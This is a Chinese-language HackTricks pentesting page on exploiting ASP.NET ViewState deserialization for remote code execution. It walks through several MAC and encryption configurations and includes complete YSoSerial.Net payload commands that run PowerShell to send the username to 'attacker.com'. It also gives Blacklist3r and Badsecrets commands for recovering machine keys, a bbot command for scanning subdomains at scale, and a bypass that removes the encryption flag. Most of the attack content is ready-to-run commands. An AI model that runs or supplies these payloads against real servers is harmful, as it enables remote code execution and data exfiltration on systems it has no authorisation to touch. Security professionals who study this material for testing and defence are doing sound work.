Exploiting __VIEWSTATE without knowing the secrets

从零开始学习 AWS 黑客技术,成为专家 htARTE(HackTricks AWS 红队专家)

支持 HackTricks 的其他方式:

漏洞赏金提示注册 Intigriti,这是一家由黑客创建的高级 漏洞赏金平台!立即加入我们,访问 https://go.intigriti.com/hacktricks,开始赚取高达 $100,000 的赏金!

ViewState 是什么

ViewState 在 ASP.NET 中作为默认机制,用于在网页之间保持页面和控件数据。在渲染页面的 HTML 时,页面的当前状态和在 postback 期间需要保留的值被序列化为 base64 编码的字符串。然后,这些字符串被放置在隐藏的 ViewState 字段中。

ViewState 信息可以通过以下属性或它们的组合来描述:

  • Base64:

    • EnableViewStateMacViewStateEncryptionMode 属性均设置为 false 时使用此格式。

  • Base64 + 启用 MAC(消息认证码):

    • 通过将 EnableViewStateMac 属性设置为 true 来激活 MAC。这为 ViewState 数据提供了完整性验证。

  • Base64 + 加密:

    • ViewStateEncryptionMode 属性设置为 true 时应用加密,确保 ViewState 数据的机密性。

测试案例

该图表详细说明了基于 .NET 框架版本的 ASP.NET 中 ViewState 不同配置的情况。以下是内容摘要:

  1. 对于 任何版本的 .NET,当 MAC 和加密均被禁用时,不需要 MachineKey,因此没有适用的方法来识别它。

  2. 对于 4.5 版本以下,如果启用了 MAC 但未启用加密,则需要 MachineKey。用于识别 MachineKey 的方法称为 "Blacklist3r"。

  3. 对于 4.5 版本以下,无论 MAC 是否启用,如果启用了加密,则需要 MachineKey。识别 MachineKey 是 "Blacklist3r - 未来发展" 的任务。

  4. 对于 4.5 及更高版本,MAC 和加密的所有组合(无论两者是否为 true,或其中一个为 true 另一个为 false)都需要 MachineKey。可以使用 "Blacklist3r" 来识别 MachineKey。

测试案例:1 – EnableViewStateMac=false 和 viewStateEncryptionMode=false

还可以通过在以下位置将 AspNetEnforceViewStateMac 注册表键设置为零来完全禁用 ViewStateMAC:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}

识别ViewState属性

您可以尝试使用BurpSuite捕获包含此参数的请求来识别是否使用MAC保护了ViewState。如果未使用MAC来保护参数,则可以使用YSoSerial.Net来利用它。

ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"

开发人员可以移除 ViewState,使其不成为 HTTP 请求的一部分(用户将不会收到此 cookie)。 有人可能会认为,如果ViewState不存在,他们的实现就不会受到 ViewState 反序列化可能带来的潜在漏洞的影响。 然而,事实并非如此。如果我们在请求体中添加 ViewState 参数并发送使用 ysoserial 创建的序列化有效负载,我们仍然可以实现代码执行,就像案例 1中所示。

测试案例:2 – .Net < 4.5 且 EnableViewStateMac=true & ViewStateEncryptionMode=false

为了为特定页面启用 ViewState MAC,我们需要对特定的 aspx 文件进行以下更改:

<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>

我们也可以通过在web.config文件中设置如下来针对整个应用程序执行此操作:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac="true" />
</system.web>
</configuration>

由于参数受MAC保护,要成功执行攻击,我们首先需要使用的密钥。

您可以尝试使用 Blacklist3r(AspDotNetWrapper.exe) 来查找使用的密钥。

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"

--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value

Badsecrets 是另一个可以识别已知 machineKeys 的工具。它是用 Python 编写的,因此与 Blacklist3r 不同,它没有 Windows 依赖性。对于 .NET viewstates,有一个名为 "python blacklist3r" 的实用程序,这是使用它的最快方式。

它可以直接提供 viewstate 和生成器:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE
https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png

或者,它可以直接连接到目标URL,并尝试从HTML中提取viewstate:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx
https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png

要在规模上搜索易受攻击的viewstates,可以结合子域枚举,使用badsecrets BBOT 模块:

bbot -f subdomain-enum -m badsecrets -t evil.corp
https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png

如果你很幸运找到了密钥,你可以使用 YSoSerial.Net:

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

--generator = {__VIWESTATEGENERATOR parameter value}

在服务器没有发送_VIEWSTATEGENERATOR参数的情况下,您无需提供--generator参数,但需要提供以下参数:

--apppath="/" --path="/hello.aspx"

测试案例:3 – .Net < 4.5 和 EnableViewStateMac=true/false 以及 ViewStateEncryptionMode=true

在这种情况下,不清楚参数是否受到MAC保护。因此,该值可能已加密,您将需要机器密钥来加密您的有效负载以利用漏洞。

在这种情况下Blacklist3r 模块正在开发中...

在.NET 4.5之前,即使**ViewStateEncryptionMode已设置为_Always_,ASP.NET也可以从用户那里接受一个未加密的**___VIEWSTATE_参数。ASP.NET 仅检查请求中**__VIEWSTATEENCRYPTED参数的存在**。如果删除此参数,并发送未加密的有效负载,则仍将被处理。

因此,如果攻击者找到一种通过另一个漏洞(如文件遍历)获取Machinekey的方法,YSoSerial.Net 命令在案例2中使用,可用于利用ViewState反序列化漏洞执行RCE。

  • 从请求中删除__VIEWSTATEENCRYPTED参数以利用ViewState反序列化漏洞,否则将返回Viewstate MAC验证错误,利用将失败。

测试案例:4 – .Net >= 4.5 和 EnableViewStateMac=true/false 以及 ViewStateEncryptionMode=true/false 除非两个属性均为false

我们可以通过在web.config文件中指定以下参数来强制使用ASP.NET框架。

<httpRuntime targetFramework="4.5" />

或者,可以通过在web.config文件的machineKey参数中指定以下选项来完成。

compatibilityMode="Framework45"

与之前一样,数值是加密的。然后,为了发送有效的有效载荷,攻击者需要密钥。

您可以尝试使用Blacklist3r(AspDotNetWrapper.exe)来查找正在使用的密钥:

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate  --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"

--encrypteddata = {__VIEWSTATE parameter value}
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}

请参考此处获取有关IISDirPath和TargetPagePath的更详细描述。

或者,使用Badsecrets(带有生成器值):

cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415
https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png

一旦确定了有效的Machine key,下一步是使用 YSoSerial.Net 生成序列化的有效载荷

ysoserial.exe -p ViewState  -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2"  --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

如果您拥有__VIEWSTATEGENERATOR的值,可以尝试使用该值与--generator参数,并省略--path--apppath参数。

成功利用ViewState反序列化漏洞将导致向受攻击者控制的服务器发出带有用户名的外带请求。这种利用漏洞的示例已在一个名为“Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET”的资源中展示。要了解利用过程的详细信息以及如何利用Blacklist3r等工具来识别MachineKey,您可以查看提供的成功利用的PoC

测试案例6 – 正在使用ViewStateUserKeys

ViewStateUserKey属性可用于防御****CSRF攻击。如果应用程序中已定义了这样一个密钥,并且我们尝试使用到目前为止讨论的方法生成ViewState负载,则应用程序不会处理该负载。 您需要使用一个额外的参数来正确创建负载:

--viewstateuserkey="randomstringdefinedintheserver"

成功利用的结果

对于所有测试案例,如果 ViewState YSoSerial.Net 负载成功运行,则服务器会以“500 内部服务器错误”的形式响应,响应内容为“此页面的状态信息无效,可能已损坏”,并且我们会收到 OOB 请求。

查看更多信息请点击此处

参考资料

漏洞赏金提示: 注册 Intigriti,一个由黑客创建的高级 漏洞赏金平台!立即加入我们,访问 https://go.intigriti.com/hacktricks,开始赚取高达 $100,000 的赏金!

从零开始学习 AWS 黑客技术,成为专家 htARTE (HackTricks AWS Red Team Expert)!

支持 HackTricks 的其他方式:

最后更新于